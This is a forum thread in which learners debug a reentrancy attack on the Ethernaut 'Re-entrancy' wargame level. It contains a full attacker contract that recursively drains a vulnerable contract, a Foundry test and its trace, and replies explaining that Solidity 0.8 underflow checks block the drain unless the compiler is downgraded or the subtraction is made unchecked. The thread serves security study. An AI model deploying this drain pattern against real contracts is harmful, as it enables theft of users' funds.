What the Heck am i Doing Wrong? Openzeppelin Ethernaut Re-entrancy #10

[justAWanderKid]

it's Just an Simple Reentrancy Vulnerablity Exploitation, but it seems like there's something im doing wrong.

Link to the Openzeppelin Ethernaut 10-Re-entrancy: https://ethernaut.openzeppelin.com/level/10

Now First of all, i made couple of Changes to the original Reentrance Contract that imports SafeMath and uses 0.6.0 solidity version.

• removed the SafeMath import
• set solidity version to 0.8.26

here's the changes i made to Reentrance Contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

contract Reentrance {
    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    receive() external payable {}
}

and this is the attacker contract:

contract ReentrancyAttacker {

    Reentrance reentrance;
    address private owner;

    constructor(Reentrance _reentrance) {
        reentrance = _reentrance;
        owner = msg.sender;
    }

    modifier onlyOwner {
        if (msg.sender != owner) {
            revert("You're Not the Owner!");
        }
        _;
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "send atleast 1 ETH");
        reentrance.donate{value: 1 ether }(address(this));
        uint256 _amount = reentrance.balanceOf(address(this));
        reentrance.withdraw(_amount);
    }

    function withdraw() external onlyOwner {
        uint256 contractBalance = address(this).balance;
        payable(owner).transfer(contractBalance);
    }

    function _stealMoney() internal {
        uint256 _amount = reentrance.balanceOf(address(this));
        if (address(reentrance).balance >= _amount) {
            reentrance.withdraw(_amount);
        } 
    }

    receive() external payable {
        _stealMoney();
    }

}

and this is the test i wrote for it:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;


import {Reentrance} from "../src/Reentrancy.sol";
import {DeployReentrancy} from "../script/DeployReentrancy.s.sol";
import {Test, console} from "forge-std/Test.sol";

contract ReentranceTest is Test {

    Reentrance reentrance;
    DeployReentrancy deployer;

    function setUp() external {
        deployer = new DeployReentrancy();
        reentrance = deployer.run();
    }

    function testReentrancyAttack() external {
        vm.deal(address(reentrance), 10 ether);
        ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(reentrance);

        uint256  reentranceContractBalanceBeforetheAttack = address(reentrance).balance;
        uint256  reentrancyAttackerContractBalanceBeforetheAttack = address(reentrancyAttacker).balance;

        console.log("Reentrance Contract Balance Before the Attack: ", reentranceContractBalanceBeforetheAttack);
        console.log("Attacker Contract Balance Before the Attack: ", reentrancyAttackerContractBalanceBeforetheAttack);

        reentrancyAttacker.attack{value: 1 ether}();

        console.log("Reentrance Contract Balance After the Attack: ", address(reentrance).balance);
        console.log("Attacker Contract Balance After the Attack: ", address(reentrancyAttacker).balance);

        assertEq(address(reentrancyAttacker).balance, reentranceContractBalanceBeforetheAttack + 1 ether);
        assertEq(address(reentrance).balance, reentrancyAttackerContractBalanceBeforetheAttack);
    }


}

what the heck am i doing wrong that the transaction gets reverted for overflow/underflow?

[EngrPips]

This seems interesting to look into. I will advise you to import console from the foundry and then console.log values in your contract to catch where you are adding from the highest value a type can hold, subtracting from the lowest value a type can hold or dividing by 0, You should also use -vvvv to run your test so it prints out the stack trace of your test and you can see where exactly the test is reverting.

[justAWanderKid]

This is Output of the Test but i changed vm.deal(address(reentrance), 10 ether); to vm.deal(address(reentrance), 2 ether); so i paste smaller and much easier to read output here:

[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Reentrancy.t.sol:ReentranceTest
[FAIL. Reason: panic: assertion failed (0x01)] testReentrancyAttack() (gas: 326947)
Traces:
  [483680] ReentranceTest::setUp()
    ├─ [261805] → new DeployReentrancy@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← [Return] 1197 bytes of code
    ├─ [161670] DeployReentrancy::run()
    │   ├─ [0] VM::startBroadcast()
    │   │   └─ ← [Return] 
    │   ├─ [125571] → new Reentrance@0x90193C961A926261B756D1E5bb255e67ff9498A1
    │   │   └─ ← [Return] 627 bytes of code
    │   ├─ [0] VM::stopBroadcast()
    │   │   └─ ← [Return] 
    │   └─ ← [Return] Reentrance: [0x90193C961A926261B756D1E5bb255e67ff9498A1]
    └─ ← [Stop] 

  [307047] ReentranceTest::testReentrancyAttack()
    ├─ [0] VM::deal(Reentrance: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 2000000000000000000 [2e18])
    │   └─ ← [Return] 
    ├─ [222486] → new ReentrancyAttacker@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   └─ ← [Return] 889 bytes of code
    ├─ [59436] ReentrancyAttacker::attack{value: 1000000000000000000}()
    │   ├─ [22515] Reentrance::donate{value: 1000000000000000000}(ReentrancyAttacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   │   └─ ← [Stop] 
    │   ├─ [537] Reentrance::balanceOf(ReentrancyAttacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   ├─ [28101] Reentrance::withdraw(1000000000000000000 [1e18])
    │   │   ├─ [20303] ReentrancyAttacker::receive{value: 1000000000000000000}()
    │   │   │   ├─ [537] Reentrance::balanceOf(ReentrancyAttacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   │   ├─ [18486] Reentrance::withdraw(1000000000000000000 [1e18])
    │   │   │   │   ├─ [10872] ReentrancyAttacker::receive{value: 1000000000000000000}()
    │   │   │   │   │   ├─ [537] Reentrance::balanceOf(ReentrancyAttacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   │   │   │   ├─ [9056] Reentrance::withdraw(1000000000000000000 [1e18])
    │   │   │   │   │   │   ├─ [1343] ReentrancyAttacker::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   ├─ [537] Reentrance::balanceOf(ReentrancyAttacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   │   │   │   │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   │   └─ ← [Stop] 
    │   └─ ← [Stop] 
    └─ ← [Revert] panic: assertion failed (0x01)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 622.10µs (226.40µs CPU time)

Ran 1 test suite in 1.85s (622.10µs CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Reentrancy.t.sol:ReentranceTest
[FAIL. Reason: panic: assertion failed (0x01)] testReentrancyAttack() (gas: 326947)

Encountered a total of 1 failing tests, 0 tests succeeded

also i didn't add console.log just because i dont know what am i supposed to log.

i wrote a Reentrancy Test Many Times but this is the first time this is happening to me and i dont get where's the issue.

[justAWanderKid]

i Also tested in Remix, it Doesn't Work there also. i Think there's very very small issue with my code that is causing this to happen and i dont know what it is. i even asked Ai, But Couldn't find what the issue was.

[EngrPips]

I would say use console.log to see the balance of the attackingContract on the reentrancy contract on each reentrancy process and see if you will detect anything weird. I mean, just print out all of the balances of every entity that partakes in the reentrancy process for each reentrancy that takes place and see if there is something that is unexpected. That's how I would normally catch hard-to-detect mistakes in my code.

[justAWanderKid]

tried it, but nothing works. the problem is, i dont understand why it get's reverted when We Reenter With our receive() function.

[EngrPips]

This seems really weird, but I am sure something is wrong somewhere. Computers don't lie. Maybe discard all of this and restart.

[Ayodeji63]

The error is in the Reentrance Contract you modified.
I will try my best to explain in details

Scenario

The attacker has 1 ether in their balance (balances[attacker] is 1 ether).
The attacker calls the withdraw function 3 times through a reentrancy attack.
We will assume the balance in the contract is 3 ether

Step-by-Step Execution

First Call to withdraw (Initial Balance: 1 ether):

• The attacker calls withdraw(1 ether).
• The check if (balances[msg.sender] >= _amount) passes (balance is 1 ether).
• The contract sends 1 ether to the attacker via msg.sender.call{value: 1 ether}("").
• The attacker’s fallback function is triggered, making the second call to withdraw(1 ether).

Second Call to withdraw (Still Initial Balance: 1 ether):

• The second call to withdraw(1 ether) starts executing.
• The check if (balances[msg.sender] >= _amount) still passes (balance is still 1 ether because it hasn't been updated yet).
• The contract sends another 1 ether to the attacker via msg.sender.call{value: 1 ether}("").
• The attacker’s fallback function is triggered again, making the third call to withdraw(1 ether).

Third Call to withdraw (Still Initial Balance: 1 ether):

• The third call to withdraw(1 ether) starts executing.
• The check if (balances[msg.sender] >= _amount) still passes (balance is still 1 ether because it hasn't been updated yet).
• The contract sends yet another 1 ether to the attacker via msg.sender.call{value: 1 ether}("").
  Now, all reentrant calls have been made and are pending balance updates.

Completing the Calls:

• The third call to withdraw completes:

  • The balance update balances[msg.sender] -= _amount is executed.
  • The balance is decremented by 1 ether (from 1 ether to 0 ether).

• The second call to withdraw completes:

  • The balance update balances[msg.sender] -= _amount is executed again.
  • The balance is decremented by 1 ether (from 0 ether to -1 ether). Here, an underflow occurs because the balance cannot be negative in unsigned integers, so it wraps around to a very large value.

• The first call to withdraw completes:

  • The balance update balances[msg.sender] -= _amount is executed again.
  • The balance is decremented by 1 ether (from a very large value to an even larger value due to another underflow).

Underflow and Its Consequences

Underflow: When the balance goes negative, it wraps around to a very large value in unsigned integer arithmetic.

I did this

balances[msg.sender] -= 0;

But that is tampering with the integrity of the contract.
There should be a way around it.

[justAWanderKid]

Yup, Openzeppelin Intentionally used pragma solidity ^0.6.12;, so This Underflow occurs, making it Vulnerable to Reentrancy Attack. i just downgraded it to pragma solidity ^0.7.0, Now everything works as expected.

[EngrPips]

Does this mean there is an overflow/underflow occurrence for every reentrancy?

[justAWanderKid]

i kinda dont get what you meant by that. need detailed explanation.

But it really depends how we update the state variable at the end.

When a Function Does not Follow CEI Pattern and Does transfer Funds, We should ask ourself:

• the state variable that gets updated at the end, if it gets updated multiple times, can this kinda prevent from the Reentrancy Attack Happening?

for example lets take the same withdraw function and make very small of change to it (using pragma solidity ^0.7.0):

import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;    
    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if(result){
                _amount;
            }
            balances[msg.sender] = balances[msg.sender].sub(_amount);
        }
    }
}

in this Case, Reentrancy Cannot Happen Because we use SafeMath library to Subtract the msg.sender balance: (SafeMath is Used to Prevent overflow/underflow in prior versions of 0.8.0)

balances[msg.sender] = balances[msg.sender].sub(_amount);

the Way We Update our State variable, it kinda works like an Reentrancy Guard :D

in earlier case just because we used 0.8.26 solidity version, that comes with built in check for overflow/underflow, that does not allow overflow/underflow to happen and reverts it.

Key Takes:

• so one thing to keep in mind, When a Function Does not Follow CEI and Does Transfer Funds, What's the current Solidity Compiler version? can current solidity compiler version used in codebase, stop us from performing Reentrancy Attack or not?

• if the Function Does not Follow CEI and Does Transfer Funds, Can the way we update our state variable Stop Us from Performing Reentrancy Attack? (in example shown above, just because we used SafeMath library to subtract the balance of msg.sender, it stops us from doing Reentrancy.)

[EngrPips]

Thanks for the explanation, I will do more research and get the point clear. I appreciate your breakdown.

[justAWanderKid]

Sure. i Appreciate You For Helping Us!

[justAWanderKid]

We Might Need the Master Here. Where r u Patrick.

[lastperson]

1. You set balances[attacker] = 1
2. You call withdraw, which before ending triggers another withdraw 2.1, which before ending triggers another withdraw 2.1.1, and so on.
3. 10th withdrawal ends doing balances[attacker] -= 1 which is balances[attacker] = 1 - 1 == 0.
4. Now 9th withdrawal ends doing balances[attacker] -= 1 which is after step 3 is balances[attacker] = 0 - 1. Underflow.

[Chinwuba22]

Your first assertion assertEq(address(reentrancyAttacker).balance, reentranceContractBalanceBeforetheAttack + 1 ether); should be this instead assertEq(address(reentrance).balance, reentranceContractBalanceBeforetheAttack + 1 ether); based on what you sent. I guess thats the issue.

[EngrPips]

Interesting

[justAWanderKid]

first of all, this topic is about why is my Reentrancy attack failing for overflow/underflow, it's not about the assertions i wrote.
and second, if i put assertEq(address(reentrance).balance, reentranceContractBalanceBeforetheAttack + 1 ether); this will %100 fail, why? because im Comparing current Reentrance Contract balance after the attack Which is Equal to 0 (attacker drained all funds) With reentranceContractBalanceBeforetheAttack + 1 ether, Which is 11 ether (we gave Reentrance Contract 10 ether to start with, with vm.deal() and plus 1 ether is about the ether Attacker Sent to it and Took it back immediately.)

let me explain the assertions i wrote:

        assertEq(address(reentrancyAttacker).balance, reentranceContractBalanceBeforetheAttack + 1 ether);
        assertEq(address(reentrance).balance, reentrancyAttackerContractBalanceBeforetheAttack);

• the first Assertion i wrote is comparing the Attacker Contract balance After the Attack to Reentrance Contract Balance Before the Attack plus 1 ether. what's that 1 ether about? We Sent 1 ether with reentrancyAttacker.attack{value: 1 ether}(); in our test, so Balance of the Attacker Contract Will be 11 ether after the Attack (attacker drains all the Reentrance Contract Funds and takes back the 1 ether he sent.)

• the second Assertion is Comparing Current Balance of Reentrance Contract After the Attack, Which is 0 with Attacker Contract Balance Before the Attack, Which is 0.

the Assertions will pass if the Reentrancy Attack is Done Successfully.

[Chinwuba22]

then address(reentrancyAttacker).balance should be 0.

[Chinwuba22]

It won't fail, try it. The overflow/underflow popping in your test its because your assertions are wrong and not from the contract itself. This is also implying that there is a mistake from either your DeployReentrancy contract which I dont know what it is like or somewhere else, but then the overflow/underflow is at a result from the assertions which the one I also provided is wrong because you are trying to drain the reentraant address. You can comment out the assertion and retry the test.

[justAWanderKid]

Trust me it failed, because i already tried it. the first test i wrote only used to console.log() the reentrance contract and attacker balance before and after the attack, that failed even i did not have any assertEq() or assert() inside the test. the problem is not even about the assertions, you're getting it wrong.

[EngrPips]

I must confess this is an interesting discussion so far. I am still trying to research and confirm if it is true that a contract state updates the number of times we re-enter into it.

[Chinwuba22]

I must confess this is an interesting discussion so far. I am still trying to research and confirm if it is true that a contract state updates the number of times we re-enter into it.

Its actually interesting lol.

Looking at this...

       if (balances[msg.sender] >= _amount) {
           (bool result,) = msg.sender.call{value: _amount}("");
           if (result) {
               _amount;
           }
           balances[msg.sender] -= _amount;
       }
   }

The line balances[msg.sender] -= _amount; Foundry seems to be taking this as a negative vaue which makes sense also because of the version of solidity you have decided to use. I just tested it on foundry using unchecked {balances[msg.sender] -= _amount;} and it worked. To pass the challenge you could opt out to use remix since its already deployed using ^0.6.12, I don't know if this makes sense because trying to use ^0.6.12 on foundry might come with some versioning issues.

[Ayodeji63]

"This is indeed an interesting topic. I added a variable numOfCall on line 9 and incremented it on line 22 to demonstrate that a state change occurs with each reentrancy. The log shows that the number of calls is 11."

[EngrPips]

Interesting.

[Chinwuba22]

I must confess this is an interesting discussion so far. I am still trying to research and confirm if it is true that a contract state updates the number of times we re-enter into it.

Its actually interesting lol.

Looking at this...

       if (balances[msg.sender] >= _amount) {
           (bool result,) = msg.sender.call{value: _amount}("");
           if (result) {
               _amount;
           }
           balances[msg.sender] -= _amount;
       }
   }

The line balances[msg.sender] -= _amount; Foundry seems to be taking this as a negative vaue which makes sense also because of the version of solidity you have decided to use. I just tested it on foundry using unchecked {balances[msg.sender] -= _amount;} and it worked. To pass the challenge you could opt out to use remix since its already deployed using ^0.6.12, I don't know if this makes sense because trying to use ^0.6.12 on foundry might come with some versioning issues.

was this helpful?

[EngrPips]

Kind of. thanks for sharing.

[vascofcd]

Interesting, just came across with your issue @justAWanderKid, I changed the challenge to 0.8.26 version and I was really puzzled why couldn't I drain the funds! I initially thought that that balances[msg.sender] -= _amount; would be called just once (at the end of the withdrawal cycles), but it turns out it is called for every cycle.

In summary, here's what's happening (and correct if I'm wrong):

• We donate and initiate the withdrawal cycle with the fallback.
• Then, the remaining operation of withdraw function, in this case, balances[msg.sender] -= _amount; is executed.
• But because this causes an underflow this is reverted.
• So if we use 0.8.26 version this function is protected against reentrancy

[justAWanderKid]

Yup but balances[msg.sender] -= _amount; is executed at the end, where there's no more calls made to Attacker receive() function.